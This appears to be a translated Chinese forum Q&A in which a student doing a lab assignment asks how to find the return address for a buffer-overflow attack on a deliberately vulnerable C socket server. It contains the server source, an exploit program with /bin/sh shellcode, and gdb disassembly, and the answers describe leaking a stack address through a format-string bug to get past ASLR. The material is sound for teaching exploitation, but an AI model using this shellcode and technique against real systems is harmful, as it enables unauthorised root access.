C语言 如何在执行缓冲区溢出攻击时查找返回地址

iih3973s  于 2022-12-03  发布在  其他
关注(0)|答案(2)|浏览(147)

更新日期:
现在我已经用 shell 代码地址覆盖了返回地址,但是程序由于分段错误而崩溃。
我使用信息帧定位返回地址(eip),地址为0xbfffe58c

命令的起始地址是0xbfffe520,其中包含 shell 代码。但是,我已经将0xbfffe58c的值覆盖为 shell 代码的地址,但应用程序崩溃..

我不知道我哪里做错了......

我最近一直在学习缓冲区溢出攻击,在几次在线教程之后,我得到了这个小任务,要求我使用缓冲区溢出来获得服务器的根访问权限。
下面是给定的代码。

  1. /* server.c */
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <string.h>
  6. #include <sys/socket.h>
  7. #include <netinet/ip.h>
  8. #include <sys/wait.h>
  9. #define PORT 6060
  10. int exec_command(int sock, char *buf) {
  11. char command[80];
  12. char *command_p=command;
  13. char *val0=0;
  14. char *val1=0;
  15. int status=10;
  16. close(STDOUT_FILENO);
  17. close(STDERR_FILENO);
  18. dup2(sock, STDOUT_FILENO);
  19. dup2(sock, STDERR_FILENO );
  20. sprintf(command_p, "%s", buf);
  21. val1= strtok(command, "\n");
  22. char * argv_list[] = {"/bin/grep", "-i", val1, "notes", NULL};
  23. printf("You have provided: \n");
  24. printf(command);
  25. pid_t id = fork();
  26. if (id == -1) exit(1);
  27. if (id > 0)
  28. {
  29. waitpid(id, &status, 0);
  30. printf("\nTEST\n");
  31. return 0;
  32. } else {
  33. if(execve("/bin/grep", argv_list, NULL)==0){
  34. return -1;
  35. };
  36. }
  37. }
  38. void main()
  39. {
  40. struct sockaddr_in server;
  41. struct sockaddr_in client;
  42. int clientLen;
  43. int sock,newsock;
  44. char buf[1500];
  45. pid_t pid,current = getpid();
  46. int ret_val;
  47. sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  48. if (sock < 0) {
  49. perror("Error opening socket");
  50. exit(1);
  51. }
  52. memset((char *) &server, 0, sizeof(server));
  53. server.sin_family = AF_INET;
  54. server.sin_addr.s_addr = htonl(INADDR_ANY);
  55. server.sin_port = htons(PORT);
  56. ret_val = bind(sock, (struct sockaddr *) &server, sizeof(server));
  57. if (ret_val < 0) {
  58. perror("ERROR on binding");
  59. close(sock);
  60. exit(1);
  61. }
  62. while (1) {
  63. listen(sock, 5);
  64. clientLen = sizeof(client);
  65. newsock = accept(sock, (struct sockaddr *) &client, &clientLen);
  66. if (newsock < 0) {
  67. perror("Error on accept");
  68. exit(1);
  69. }
  70. bzero(buf, 1500);
  71. recvfrom(newsock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen);
  72. printf("the buf: %s||\n",buf);
  73. exec_command(newsock, buf);
  74. //printf("the end\n");
  75. close(newsock);
  76. }
  77. close(sock);
  78. }

我的做法是:
1.查找buf[buffer_size]的内存地址
1.使用 shell 代码覆盖buf[]
1.查找寄信人地址
1.用 shell 代码地址覆盖返回地址。
下面是我的利用。c

  1. /* exploit.c */
  2. /* A program that creates a file containing code for launching shell*/
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <string.h>
  6. char shellcode[]=
  7. "\x31\xc0" /* Line 1: xorl %eax,%eax */
  8. "\x50" /* Line 2: pushl %eax */
  9. "\x68""//sh" /* Line 3: pushl $0x68732f2f */
  10. "\x68""/bin" /* Line 4: pushl $0x6e69622f */
  11. "\x89\xe3" /* Line 5: movl %esp,%ebx */
  12. "\x50" /* Line 6: pushl %eax */
  13. "\x53" /* Line 7: pushl %ebx */
  14. "\x89\xe1" /* Line 8: movl %esp,%ecx */
  15. "\x99" /* Line 9: cdq */
  16. "\xb0\x0b" /* Line 10: movb $0x0b,%al */
  17. "\xcd\x80" /* Line 11: int $0x80 */
  18. ;
  19. void main(int argc, char **argv)
  20. {
  21. char buffer[517];
  22. FILE *badfile;
  23. /* Initialize buffer with 0x90 (NOP instruction) */
  24. memset(&buffer, 0x90, 517);
  25. /* You need to fill the buffer with appropriate contents here */
  26. strcpy(buffer,shellcode);
  27. strcpy(buffer+0x265,"\x84\xe6\xff\xbf");
  28. /* Save the contents to the file "badfile" */
  29. badfile = fopen("./badfile", "w");
  30. fwrite(buffer, 517, 1, badfile);
  31. fclose(badfile);
  32. }

我被要求填写代码来执行攻击。我也被允许使用gdb来找到所需的地址。以下是我填写的内容。

  1. strcpy(buffer,shellcode);
  2. strcpy(buffer+0x265,"\x84\xe6\xff\xbf");

我可以通过在调试server.c时放置断点来获取buf[]的地址。

  1. b main
  2. p /x &buf

但是我在识别返回地址时遇到问题。我尝试使用disass查找exec_function的返回地址,因为我注意到它使用了存在溢出漏洞的sprintf函数。但是我在阅读exec_function的汇编语言时遇到问题。

  1. 0x080487db <+0>: push ebp
  2. 0x080487dc <+1>: mov ebp,esp
  3. 0x080487de <+3>: sub esp,0x88
  4. => 0x080487e4 <+9>: lea eax,[ebp-0x68]
  5. 0x080487e7 <+12>: mov DWORD PTR [ebp-0xc],eax
  6. 0x080487ea <+15>: mov DWORD PTR [ebp-0x10],0x0
  7. 0x080487f1 <+22>: mov DWORD PTR [ebp-0x14],0x0
  8. 0x080487f8 <+29>: mov DWORD PTR [ebp-0x6c],0xa
  9. 0x080487ff <+36>: sub esp,0xc
  10. 0x08048802 <+39>: push 0x1
  11. 0x08048804 <+41>: call 0x80486c0 <close@plt>
  12. 0x08048809 <+46>: add esp,0x10
  13. 0x0804880c <+49>: sub esp,0xc
  14. 0x0804880f <+52>: push 0x2
  15. 0x08048811 <+54>: call 0x80486c0 <close@plt>
  16. 0x08048816 <+59>: add esp,0x10
  17. 0x08048819 <+62>: sub esp,0x8
  18. 0x0804881c <+65>: push 0x1
  19. 0x0804881e <+67>: push DWORD PTR [ebp+0x8]
  20. 0x08048821 <+70>: call 0x8048570 <dup2@plt>
  21. 0x08048826 <+75>: add esp,0x10
  22. 0x08048829 <+78>: sub esp,0x8
  23. 0x0804882c <+81>: push 0x2
  24. 0x0804882e <+83>: push DWORD PTR [ebp+0x8]
  25. 0x08048831 <+86>: call 0x8048570 <dup2@plt>
  26. 0x08048836 <+91>: add esp,0x10
  27. 0x08048839 <+94>: sub esp,0x8
  28. 0x0804883c <+97>: push DWORD PTR [ebp+0xc]
  29. 0x0804883f <+100>: push DWORD PTR [ebp-0xc]
  30. 0x08048842 <+103>: call 0x80485f0 <strcpy@plt>
  31. 0x08048847 <+108>: add esp,0x10
  32. 0x0804884a <+111>: sub esp,0x8
  33. 0x0804884d <+114>: push 0x8048b30
  34. 0x08048852 <+119>: lea eax,[ebp-0x68]
  35. 0x08048855 <+122>: push eax
  36. 0x08048856 <+123>: call 0x8048670 <strtok@plt>
  37. 0x0804885b <+128>: add esp,0x10
  38. 0x0804885e <+131>: mov DWORD PTR [ebp-0x14],eax
  39. 0x08048861 <+134>: mov DWORD PTR [ebp-0x80],0x8048b32
  40. 0x08048868 <+141>: mov DWORD PTR [ebp-0x7c],0x8048b3c
  41. 0x0804886f <+148>: mov eax,DWORD PTR [ebp-0x14]
  42. 0x08048872 <+151>: mov DWORD PTR [ebp-0x78],eax
  43. 0x08048875 <+154>: mov DWORD PTR [ebp-0x74],0x8048b3f
  44. 0x0804887c <+161>: mov DWORD PTR [ebp-0x70],0x0
  45. 0x08048883 <+168>: sub esp,0xc
  46. 0x08048886 <+171>: push 0x8048b45
  47. 0x0804888b <+176>: call 0x8048610 <puts@plt>
  48. 0x08048890 <+181>: add esp,0x10
  49. 0x08048893 <+184>: sub esp,0xc
  50. 0x08048896 <+187>: lea eax,[ebp-0x68]
  51. 0x08048899 <+190>: push eax
  52. 0x0804889a <+191>: call 0x8048580 <printf@plt>
  53. 0x0804889f <+196>: add esp,0x10
  54. 0x080488a2 <+199>: call 0x8048680 <fork@plt>
  55. 0x080488a7 <+204>: mov DWORD PTR [ebp-0x18],eax
  56. 0x080488aa <+207>: cmp DWORD PTR [ebp-0x18],0xffffffff
  57. 0x080488ae <+211>: jne 0x80488ba <exec_command+223>
  58. 0x080488b0 <+213>: sub esp,0xc
  59. 0x080488b3 <+216>: push 0x1
  60. 0x080488b5 <+218>: call 0x8048620 <exit@plt>
  61. 0x080488ba <+223>: cmp DWORD PTR [ebp-0x18],0x0
  62. 0x080488be <+227>: jle 0x80488eb <exec_command+272>
  63. 0x080488c0 <+229>: sub esp,0x4
  64. 0x080488c3 <+232>: push 0x0
  65. 0x080488c5 <+234>: lea eax,[ebp-0x6c]
  66. 0x080488c8 <+237>: push eax
  67. 0x080488c9 <+238>: push DWORD PTR [ebp-0x18]
  68. 0x080488cc <+241>: call 0x80485e0 <waitpid@plt>
  69. 0x080488d1 <+246>: add esp,0x10
  70. 0x080488d4 <+249>: sub esp,0xc
  71. 0x080488d7 <+252>: push 0x8048b59
  72. 0x080488dc <+257>: call 0x8048610 <puts@plt>
  73. 0x080488e1 <+262>: add esp,0x10
  74. 0x080488e4 <+265>: mov eax,0x0
  75. 0x080488e9 <+270>: jmp 0x804890c <exec_command+305>
  76. 0x080488eb <+272>: sub esp,0x4
  77. 0x080488ee <+275>: push 0x0
  78. 0x080488f0 <+277>: lea eax,[ebp-0x80]
  79. 0x080488f3 <+280>: push eax
  80. 0x080488f4 <+281>: push 0x8048b32
  81. 0x080488f9 <+286>: call 0x8048640 <execve@plt>
  82. 0x080488fe <+291>: add esp,0x10
  83. 0x08048901 <+294>: test eax,eax
  84. 0x08048903 <+296>: jne 0x804890c <exec_command+305>
  85. 0x08048905 <+298>: mov eax,0xffffffff
  86. 0x0804890a <+303>: jmp 0x804890c <exec_command+305>
  87. 0x0804890c <+305>: leave
  88. 0x0804890d <+306>: ret

我如何识别寄信人地址?更一般地说,查找这样的地址的最佳做法是什么?

xuo3flqw

xuo3flqw1#

实际上,你的代码有两个弱点:格式字符串滥用和缓冲区溢出。
这是一个典型的练习,所以我猜测您试图利用的机器上启用了ASLR。这意味着每次您执行/触发有漏洞的程序时,返回地址总是不同的。因此,您将无法使用GDB预测返回地址。
这里的技巧是第一次运行exec_command函数时,由于格式字符串漏洞而泄漏堆栈地址:

  1. printf(command);

然后再次执行exec_command,通过使用 shell 代码的地址(根据之前泄漏的地址+偏移量计算得出)覆盖返回地址,利用缓冲区溢出漏洞。

gg58donl

gg58donl2#

你可以得到指令指针rip(或32位cpu中的eip),并查看它的地址来得到返回地址。
编译程序并执行gdb yourExecutable
使用b lineOfYourCProgramToStop在c程序中创建断点。
使用run firstArgumentIfAny secondArgumentIfAny ...运行程序。
使用i f查看堆栈帧信息并记下rip地址.
使用x/wx theAddressFromAbove检查返回地址的内存内容。
右边的地址是当前函数的返回地址。

相关问题